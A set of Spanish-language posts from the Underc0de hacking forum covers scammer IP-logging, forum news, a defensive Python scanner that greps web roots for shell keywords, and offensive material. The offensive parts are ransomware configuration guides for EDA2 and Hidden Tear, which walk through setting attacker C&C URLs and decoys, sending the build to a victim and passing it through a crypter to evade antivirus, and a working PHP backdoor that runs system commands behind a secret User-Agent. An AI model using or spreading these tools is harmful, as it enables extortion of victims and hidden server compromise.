Por desgracia, había subestimado su inteligencia y aunque ejecutaron el script, lo hicieron en sandbox (malwr.com), por tanto no me servía, pese a todo eso, la avaricia rompe el saco y siguieron intentando estafarme, por eso me reinventé y creé una página web, donde supuestamente había subido el extracto del banco como que había realizado esa transferencia (en serio no podían verificarlo ellos de otra forma? JAJAJAJAJA).

- Mensaje recibido después de que ejecutasen mi script en sandbox :/ -

La página en cuestión, tenía la siguiente forma:


Obviamente, aunque solicitaban un pdf (que no existía en el servidor), ya había redirigido los errores 404 a index.php que guardaba todas las IP's visitantes.

Una vez accedieron a mi web, visualizaron el siguiente contenido (creo que pillaron la indirecta ^^)


Sólo me quedaba ir a los logs y rastrear su IP, esperando que no hubiesen usado ningún tipo de proxy para acceder.


Y por suerte, todo parece indicar a que obtuve la IP que quería.

Sólo mencionar que nada es gratis y menos si no habéis participado, así que cuidado con las estafas, ante todo, sentido común!

Espero que os haya gustado.

Un saludo,

Blackdrake (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)

A petición popular he subido el script: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#29
Underc0de / [Novedades] Servicios actualizados
Febrero 09, 2016, 02:20:30 PM

Hola a todos!

Simplemente me gustaría comunicarles que se han actualizado todos los servicios (template y modificaciones en el core en casi todos ellos), al igual que ocurrió con las bibliotecas, por tanto, me gustaría que si encuentren algún bug, lo comunicasen en este post o vía MP si es grave.

Del mismo modo, si os gustaría tener algún servicio que no existe, por favor, no dudéis en pedirlo.

Sin más, les dejo con el enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Como añadido al post, he de decir que pronto habrán dos nuevos servicios bastante interesantes.

Saludos.

#30
Hacking / [APP] Localizador de IPs
Enero 28, 2016, 10:44:47 AM
Hola a todos, esta vez les traigo una aplicación exclusivamente codeada por mi para la comunidad, el uso es muy sencillo, introduces las IPs que desees localizar en el textbox (que quede cada una en una fila) y pulsáis sobre "Find", la aplicación devolverá al cabo de unos segundos las localizaciones de las IPs ingresadas.




Además, se incluye un informe más avanzado, donde devuelve más datos sobre las ips en formato json (latitud, altitud, zip etc...).

Nota: Como máximo se pueden localizar 17 ips a la vez (para evitar banneos innecesarios con la api) y 150 por minuto.
Si quedáis banneados (más de 150 IPs al minuto), podéis desbannearos pulsando en "Are you banned?"


Cualquier fallo, por favor reportarlo.


Descarga: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Para los desconfiados, detecciones: 1 / 54: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta cada uno decide si la ejecuta o no.

Un saludo.
#31
Off Topic / [SORTEO FINALIZADO] Serial de Antivirus
Enero 08, 2016, 04:35:17 PM

Hola a todos los usuarios del foro!

Queríamos invitarlos a participar de este sorteo de Underc0de auspiciado por @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ya que el nos cedió la licencia.

El premio será una licencia para un antivirus, según nos cuenta @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta de Avira.

Reglas
Sólo se podrá elegir un número de dos cifras por usuario (00-99), si alguien repite, y se da cuenta después, lo podrá modificar por otro, siempre y cuando este, no haya sido ya posteado, ya sea antes o después de su mensaje (se mirará la hora de modificación para que no sea vinculante el orden del mensaje, y si, la fecha y hora de este).

EJ:

Usuario 1 -- 15
Usuario 2 -- 15
Usuario 3 -- 20

El usuario 2 se da cuenta, pero ya no puede elegir ni el 15 ni el 20.


Participantes:
Código: text
Gabriela -- 17
po6xsecpo -- 93
puntoCL -- 56
remi_guti -- 26
Graphixx -- 14
Unname -- 16
Rush -- 45
Herculano -- 32
zenzey909 -- 29
OLM -- 23
f3rri88 -- 86
rdonate -- 34
Stiuvert -- 25
la_muerte_blanca -- 37
Cha10 -- 19
rollth -- 41
Epsilon -- 15
Delta007 -- 4
2Fac3R -- 18


Se actualizará esta lista con todos los participantes para que busquéis rápidamente los números ya utilizados.

Tener en cuenta, que no puede estar siempre 100% actualizada, revisar los últimos comentarios!

IMPORTANTE: El sorteo finalizará el día 13 de Enero de 2016 a las 15:00pm hora de España, debido a que la licencia debe ser instalada como mucho el día 15 de Enero, por tanto, el ganador del premio, debe estar atento para reclamarlo.

Nota: La participación del Staff está permitida

Saludos y buena suerte a todos!



GANADOR



Enhorabuena al número 25! @Stiuvert, enviame un MP para recoger el premio, recuerda que tienes hasta el día 15 para instalarlo!!
#32

Hemos conocido que Google acaba de retirar 13 apps para Android con malware.

Como ya te hemos comentado, el asunto de las aplicaciones en Google Play con malware es algo ya conocido y hace muy pocos días se dio un nuevo caso, concretamente dos aplicaciones fueron denunciadas a Google por estar ser presuntamente sospechosas de realizar actividades en nuestro teléfono perjudiciales.

Lista de aplicaciones afectadas

Código: text
- Crazy Block.

- Cake Blast.

- Honey Comb.

- Jump Planet.

- Cake Blast.

- Jump Planet.

- Tiny Puzzle.

- Cake Blast.

- Jump Planet.

- Just Fire.

- Honey Comb.

- Cake Tower.

- Ninja Hook.

- Piggy Jump.

- Drag Box.

- Eat Bubble.

- Hit Planet.


Todas las apps nombradas en la lista anterior tienen el mismo o parecido malware que Brain Test, por lo que si la tienes instalada en tu teléfono te recomendamos que la desinstales cuanto antes.

Brain Test era una aplicación que estaba disponible en Google Play y que tenía malware que afectaba a nuestro teléfono de manera que podía acceder a los privilegios root e incluso resistir a eliminaciones y reseteo de fábrica del teléfono.

Aparte se descubrió que esa aplicación también podía copiar archivos de /system de manera que solo podrías librarte de el instalado una nueva ROM en tu teléfono. Las aplicaciones de la lista anterior estaría afectadas por el mismo o similar malware.

A pesar de las continuas medidas para la entrada de nuevas aplicaciones en Google Play lo cierto es que parece que todavía algunas apps infectadas logran poder estar en el catálogo de la tienda y por consiguiente ser expuestas a descargarse.

Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#33
Off Topic / Feliz año nuevo!
Diciembre 31, 2015, 01:13:32 PM

Hola a todos Underc0ders!

Queremos agradeceros que estéis en estas fechas tan importantes pendientes de la comunidad, formando entre todos esta gran familia.

Es por eso, que nos gustaría, que en 2016 se cumplan todos vuestros deseos e ilusiones, y, que esté llenos de éxitos profesionales y de grandes momentos personales.

Esperamos que paséis una feliz Nochevieja llena de alegría con vuestros seres más queridos

¡Feliz Año Nuevo!

Underc0de Team

#34
Análisis y desarrollo de malwares / Configurando EDA2
Diciembre 11, 2015, 03:14:59 PM

Hola a todos, a petición de varios usuarios (@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y un usuario que envió un email), he realizado un tutorial básico y rápido de como configurar EDA2.

EDA2, es la versión actualizada de Hidden Tears, podéis obtener más información en estos post:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Repositorio oficial: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Mirror (by @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta): No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Al igual que Hidden Tears, EDA2 es un ransomware opensource con las siguientes características:


  • Utiliza ambos algoritmos RSA y AES.
  • Se coordina desde un C&C
  • Utiliza CSPRNG y phplibsec
  • Los archivos cifrados se pueden descifrar con el software de la versión anterior.
  • Cambia el fondo de escritorio al ejecutarse.

Funcionamiento

1. El ransomware envía una solicitud POST al C&C con la variable del nombre de usuario.
2. El C&C crea la key RSA pública /privada y envía la clave pública para al ransomware y guarda la clave privada en la base de datos
3. El programa crea una clave aleatoria para el algoritmo AES
4. El ransomware encripta los archivos con el algoritmo AES
5. El ransomware encripta la clave AES con la clave pública RSA y la envía al C&C vía POST  NO FUNCIONA A mi no me funcionó y tuve que reprogramarlo para el tutorial (más bien hice una chapuza rápida). Parece ser que envía los campos en blanco.
6. El C&C guarda la clave cifrada AES dentro de la base de datos. NO FUNCIONA  Al no recibir nada, no lo guarda.

Configuración

1. Lo primero con lo que nos encontramos, es la siguiente linea:


Desde esta, podremos modificar la longitud de la clave RSA.

2. Acto seguido, deberemos modificar estas 2 urls por las de nuestro hosting (habiendo subido previamente el panel).


En la siguiente línea podremos modificar la imagen que se pondrá de fondo de escritorio al ejecutar el ransomware:


3. Podremos modificar el directorio desde donde empezará a cifrar los ficheros en esta linea:


4. Además, como en Hidden Tears, podremos modificar la extensión de nuestros ficheros cifrados.


5. Obviamente, podremos decidir que extensiones queremos cifrar, pudiendo añadir o eliminar de la lista que viene por defecto.


6. Además, podemos modificar el algoritmo de creación de la clave, pudiendo poner una por defecto si queremos.


Nota: EDA2 utiliza .NET Framework 4.5, podremos modificar la versión desde aquí:

7. Una vez tengamos el ransomware modificado, debemos crear la tabla dummy en una base de datos llamada panel (obviamente estos nombres se pueden modificar desde el código php, pero son los que vienen por defecto).:


8. Ahora deberemos crear los siguientes campos en nuestra tabla:


Nota: No es necesario darles ese "tipo" de campo, requiere mucho menos espacio.

9. Una vez hecho esto, podremos logearnos en el panel de administración, cuya url sería No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, utilizando las credenciales por defecto, test:test


10. Este será el dashboard de nuestro panel, donde veremos la información de los infectados.


11.  Verificamos que nuestros ficheros no están cifrados (pues no hemos ejecutado aún el ransomware).


12. Ejecutamos EDA2 y veremos como cambia nuestro fondo de pantalla (por el que hemos seleccionado antes) y nuestros ficheros están cifrados. 


13. Accedemos al panel de administración para obtener la clave para descifrar los ficheros.


14. Pulsamos sobre el botón que dice "Decipher" (Descifrar) y obtendremos la clave necesaria para hacerlo.


15. Utilizamos la clave en el software y listo!


Saludos!
Blackdrake
#35
Off Topic / Feliz cumpleaños Jimeno!!
Diciembre 10, 2015, 07:23:24 PM
Te deseo @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta un super feliz cumple, Muxos exitos i abrazos para ti, Cuidt muxot un beso...

Jajajaja, ahora en serio, muchas felicidades, deseo que hayas pasado un bien día y que hayas disfrutado.

#36

Sigo con las publicaciones sobre este ransomware de código abierto, si no has leído las anteriores, te recomiendo que lo hagas:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Para comenzar a configurar este malware, debemos descargar su código source, podemos hacerlo desde su repositorio oficial en github: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Mirror: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Para poder modificarlo y compilarlo, necesitaremos Visual Studio. Abriremos el proyecto que hay en el directorio "hidden-tear", no tendremos problemas para entenderlo y modificar las cosas que queramos, pues el código está perfectamente comentado y muy bien estructurado.

Lo primero que vemos, es a que url enviará el ransomware la información del ordenador y la contraseña, para ello, debemos poner nuestra url y tener el archivo php que se encargue de recibir los datos correctamente creado y con los permisos adecuados.




Ambos ficheros deberán tener permisos de escritura.

En ese paso, podremos modificar la contraseña que queremos que cree aleatoriamente, aunque se puede modificar para dejarla fija.


Aquí podremos elegir que se envía a nuestro fichero php y por tanto se guarda en los logs.


El método de cifrado de ficheros y la extensión que se utilizará.


Extensiones que se encriptarán, podemos suprimir alguna o bien, añadir más.


En que directorio se guardará el txt con el mensaje que queremos dejar y empezará a ejecutar el ransomware, es muy importante que exista el directorio o dará un error cuando la víctima lo ejecute.  Además, tener en cuenta de que si empieza en el Escritorio, no afectará a directorios superiores, para afectar a todo el disco habrá que ejecutarlo en la raiz de C:\ o bien el directorio que nosotros queramos.


Compilamos y se lo enviamos a la víctima.

Por desgracia, Hidden-Tear ya no es fud (Fully UnDetectable).


Como cualquier malware, se puede pasar por un crypter para evitar que sea detectado.



Ejecutamos Hidden Tear y comprobamos que nuestros ficheros se han cifrado con la extensión .locked


Vamos a nuestro fichero de logs y conseguimos la contraseña para recuperar nuestros ficheros.


Utilizando otro proyecto llamado hidden-tear-decrypter (también en github), podremos recuperar los ficheros, utilizando esta contraseña.

Nota: Si alguien le editó la extensión .locked, deberá modificar esta línea escribiendo la extensión que utilizó.



Y tenemos nuestros ficheros de nuevo!


Ver en el blog: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos!
#37

Sigo con las publicaciones sobre este ransomware de código abierto, si no has leído la anterior, te recomiendo que lo hagas, No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Para comenzar a configurar este malware, debemos descargar su código source, podemos hacerlo desde su repositorio oficial en github: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Mirror: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Para poder modificarlo y compilarlo, necesitaremos Visual Studio. Abriremos el proyecto que hay en el directorio "hidden-tear-offline", no tendremos problemas para entenderlo y modificar las cosas que queramos, pues el código está perfectamente comentado y muy bien estructurado.

Lo primero con lo que nos encontraremos, será donde se guardará la contraseña dentro del pc o usb, ya que el método que emplearemos es offline, en próximas publicaciones, explicaré en online.


A continuación, nos encontraremos con esta línea, en la que deberemos de escribir el nombre del fichero pdf que queremos que se abra, haciendo creer a la víctima, que realmente ha ejecutado el pdf.


En ese paso, podremos modificar la contraseña que queremos que cree aleatoriamente, aunque se puede modificar para dejarla fija.


Extensiones que se encriptarán, podemos suprimir alguna o bien, añadir más.


Este será el mensaje que dejaremos al usuario en el escritorio, dentro del fichero Read_it.txt


El método de cifrado de ficheros y la extensión que se utilizará.


Una vez sabemos como funciona, lo compilamos y comenzamos a probarlo.


Justo cuando lo ejecutamos, se nos abre nuestro fichero pdf (se me abre en el navegador pues en la virtual no tengo ningún visor.)


Una vez el malware hace su trabajo (dependiendo de los ficheros que tengamos, tardará más o menos), podremos comprobar que tenemos nuestros ficheros cifrados.


Puesto a que este es el método offline del ransomware, iremos al directorio de nuestro usuario, en mi caso: C:\Users\Pentesting y ahí encontraremos un txt con la contraseña que necesitamos para recuperar nuestros ficheros.


Utilizando otro proyecto llamado hidden-tear-decrypter (también en github), podremos recuperar los ficheros, utilizando esta contraseña.

Nota: Si alguien le editó la extensión .locked, deberá modificar esta línea escribiendo la extensión que utilizó.



Y tenemos nuestros ficheros de nuevo!


Agradecimientos: Windux por haberme pasado el enlace de github de este proyecto.

Ver post en el blog: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

En la siguiente entrega, explicaré como modificar y configurar el malware con su método Online.
#38

¿Qué es un ransomware?

El ransomware es el tipo de malware más peligroso de los últimos tiempos.

Cuando este malware infecta un ordenador genera una clave única que envía a los servidores del ciberdelincuente y comienza a cifrar los archivos del usuario. Cuando finaliza muestra un mensaje que indica que los archivos se han cifrado y que se debe pagar un rescate para recuperarlos o, de lo contrario, se perderán para siempre.

El código de los ransomware suelen ser privados y de código cerrado, estando sólo controladas por los los ciberdelincuentes, a diferencia de los demás, este, se distribuye como código abierto y sólo para fines educativos.

Como dice en el repositorio oficial del software: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta sus principales características de Hidden Tear son:


  • Utiliza un cifrado AES para secuestrar los archivos del usuario.
  • Muestra un mensaje similar al que muestran las piezas de malware más peligrosas cuando la infección y el cifrado se completan.
  • Envía la clave de cifrado a un servidor remoto.
  • Genera un archivo de texto en el escritorio con el correspondiente mensaje.
  • Ocupa tan sólo 12KB.
  • Es indetectable por algunos antivirus actuales.
  • Además, este ransomware cuenta con dos versiones, online y offline.

Vídeo de su funcionamiento (Online):


Vídeo de su funcionamiento (Offline):


En las siguientes entregar veremos como configurarlo.


Ver post en el blog: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Post de como configurar y modificar su método Offline:  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#39

Hola @Underc0de, he hecho un script en python para que se encarga de buscar todo tipo de backdoors en el directorio que le indiquemos (por defecto será /var/www/), no he podido dedicarle todo el tiempo que me gustaría, pero creo que funciona bastante bien y es muy sencillo añadirle más valores de búsqueda.

Soy consciente de que el código no es el idóneo para realizar este tipo de búsquedas, pero como dije arriba, por falta de tiempo no puedo reestructurarlo.

Usar sudo, si se van a escanear directorios que no pertenecen al usuario que lo ejecuta.



Código: python
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# Author: @alvarodh5 | Blackdrake

    #########################################################################################################
    #                                            Shell Finder Python                                        #
    #                                                                                                       #
    #                                        coded by Blackdrake for Underc0de                              #
    #                                                                                                       #
    #                                                05/06/2015                                             #
    #                                                                                                       #
    #                                Underc0de.org | twitter.com/alvarodh5        #
    #                                                                                                       #
    #                                      Run this tool as root                                #
    #########################################################################################################

import os

class color:
   PURPLE = '\033[95m'
   CYAN = '\033[96m'
   DARKCYAN = '\033[36m'
   BLUE = '\033[94m'
   GREEN = '\033[92m'
   YELLOW = '\033[93m'
   RED = '\033[91m'
   BOLD = '\033[1m'
   UNDERLINE = '\033[4m'
   END = '\033[0m'

print color.BLUE + " __ _          _ _     ___ _           _" + color.END       
print color.BLUE + "/ _\ |__   ___| | |   / __( )_ __   __| | ___ _ __ "+ color.END
print color.BLUE + "\ \| '_ \ / _ \ | |  / _\ | | '_ \ / _` |/ _ \ '__|"+ color.END
print color.BLUE + "_\ \ | | |  __/ | | / /   | | | | | (_| |  __/ | "+ color.END
print color.BLUE + "\__/_| |_|\___|_|_| \/    |_|_| |_|\__,_|\___|_| "+ color.END 
print ""
print color.YELLOW + "By Blackdrake (@alvarodh5) para Underc0de" + color.END
print ""
print color.GREEN + "Asegurese que los ficheros que detecta son ilegitimos antes de eliminarlos" + color.END
print color.GREEN + "Tenga en cuenta, que dependiendo de la cantidad de ficheros que tenga en su servidor, el script tardara mas o menos" + color.END                                           
raw_input("[Pulse INTRO para continuar]")
print color.GREEN + "Introduzca ruta del directorio donde aloja sus ficheros (Pulsa Intro para utilizar por defecto, /var/www/)" + color.END
directorio = raw_input ("")
if (directorio == ""):
directorio = "/var/www/"
else:
longitud = len(directorio) - 1
if not(directorio[longitud] == "/"):
directorio += "/"

print color.BLUE + "Buscando Shells conocidas" + color.END + "" + color.RED
os.system('find ' + directorio + ' -name "*".php  -type f -print0  | xargs -0 grep r57 | uniq -c  | sort -u  | cut -d":" -f1  | awk \'{print "Posible R57 [PHP] --> rm -rf " $2}\'| uniq')

os.system('find ' + directorio + ' -name "*".txt  -type f -print0  | xargs -0 grep r57 | uniq -c  | sort -u  | cut -d":" -f1  | awk \'{print "Posible R57 [TXT] --> rm -rf " $2}\' | uniq')

os.system('find ' + directorio + ' -name "*".php  -type f -print0  | xargs -0 grep c99 | uniq -c  | sort -u  | cut -d":" -f1  | awk \'{print "Posible C99 [PHP] --> rm -rf " $2}\' | uniq')

os.system('find ' + directorio + ' -name "*".txt  -type f -print0  | xargs -0 grep c99 | uniq -c  | sort -u  | cut -d":" -f1  | awk \'{print "Posible C99 [TXT] --> rm -rf " $2}\' | uniq')

os.system('find ' + directorio + ' -name "*".php  -type f -print0  | xargs -0 grep c100 | uniq -c  | sort -u  | cut -d":" -f1  | awk \'{print "Posible C100 [PHP] --> rm -rf " $2}\' | uniq')

os.system('find ' + directorio + ' -name "*".txt  -type f -print0  | xargs -0 grep c100 | uniq -c  | sort -u  | cut -d":" -f1  | awk \'{print "Posible C100 [TXT] --> rm -rf " $2}\' | uniq')

os.system('find ' + directorio + ' -name "*".php  -type f -print0  | xargs -0 grep c98 | uniq -c  | sort -u  | cut -d":" -f1  | awk \'{print "Posible C98 [PHP] --> rm -rf " $2}\' | uniq')

os.system('find ' + directorio + ' -name "*".txt  -type f -print0  | xargs -0 grep c98 | uniq -c  | sort -u  | cut -d":" -f1  | awk \'{print "Posible C98 [TXT] --> rm -rf " $2}\' | uniq')

os.system('find ' + directorio + ' -name "*".php  -type f -print0  | xargs -0 grep SE3lRVER | uniq -c  | sort -u  | cut -d":" -f1  | awk \'{print "Posible WEEVELY SHELL [PHP] --> rm -rf " $2}\' | uniq')

print color.END + color.BLUE + "Otros posibles casos de Shell" + color.END + "" + color.YELLOW

os.system('find ' + directorio + ' -name "*".php  -type f -print0  | xargs -0 grep shell | uniq -c  | sort -u  | cut -d":" -f1  | awk \'{print "Posible Shell [PHP] --> rm -rf " $2}\' | uniq')

os.system('find ' + directorio + ' -name "*".php  -type f -print0  | xargs -0 grep backdoor | uniq -c  | sort -u  | cut -d":" -f1  | awk \'{print "Posible Shell [PHP] --> rm -rf " $2}\' | uniq')

os.system('find ' + directorio + ' -name "*".php  -type f -print0  | xargs -0 grep stealth | uniq -c  | sort -u  | cut -d":" -f1  | awk \'{print "Posible Shell [PHP] --> rm -rf " $2}\' | uniq')

os.system('find ' + directorio + ' -name "*".php  -type f -print0  | xargs -0 grep exec | uniq -c  | sort -u  | cut -d":" -f1  | awk \'{print "Posible Shell [PHP] --> rm -rf " $2}\' | uniq')

os.system('find ' + directorio + ' -name "*".php  -type f -print0  | xargs -0 grep popen | uniq -c  | sort -u  | cut -d":" -f1  | awk \'{print "Posible Shell [PHP] --> rm -rf " $2}\' | uniq')

os.system('find ' + directorio + ' -name "*".php  -type f -print0  | xargs -0 grep proc_open | uniq -c  | sort -u  | cut -d":" -f1  | awk \'{print "Posible Shell [PHP] --> rm -rf " $2}\' | uniq')

os.system('find ' + directorio + ' -name "*".php  -type f -print0  | xargs -0 grep symlink | uniq -c  | sort -u  | cut -d":" -f1  | awk \'{print "Posible Shell [PHP] --> rm -rf " $2}\' | uniq')

os.system('find ' + directorio + ' -name "*".php  -type f -print0  | xargs -0 grep passthru | uniq -c  | sort -u  | cut -d":" -f1  | awk \'{print "Posible Shell [PHP] --> rm -rf " $2}\' | uniq')

os.system('find ' + directorio + ' -name "*".php  -type f -print0  | xargs -0 grep system | uniq -c  | sort -u  | cut -d":" -f1  | awk \'{print "Posible Shell [PHP] --> rm -rf " $2}\' | uniq')

os.system('find ' + directorio + ' -name "*".php  -type f -print0  | xargs -0 grep milw0rm | uniq -c  | sort -u  | cut -d":" -f1  | awk \'{print "Posible Shell [PHP] --> rm -rf " $2}\' | uniq')

print color.END + color.GREEN + "Escaner finalizado, siguenos! @underc0de @alvarodh5 " + color.END


Espero que os guste y si alguien lo termina, por favor, que me lo comunique.

Un saludo.
#40
Como todos sabemos, esconder un backdoor a veces no es un trabajo sencillo, ya que, sin contar de que el sysadmin sea inteligente, hay scripts automatizados que se encargan de buscar este tipo de backdoors.

Así que, un método para evitar esto, es jugar con el User-Agent de nuestro navegador.

Con un código bastante simple, podemos proteger nuestro backdoor de visitas indeseadas:

Código: php
<?php
if ($_SERVER['HTTP_USER_AGENT'] == "blackdrake")
{
@system($_GET['cmd']);
}
?>


De este modo, con una visita normal, no podremos ejecutar los comandos:


En cambio, modificando el User-Agent por blackdrake, si que podremos:



Algo muy sencillo pero que a algunos le vendrá bastante bien.

Un saludo.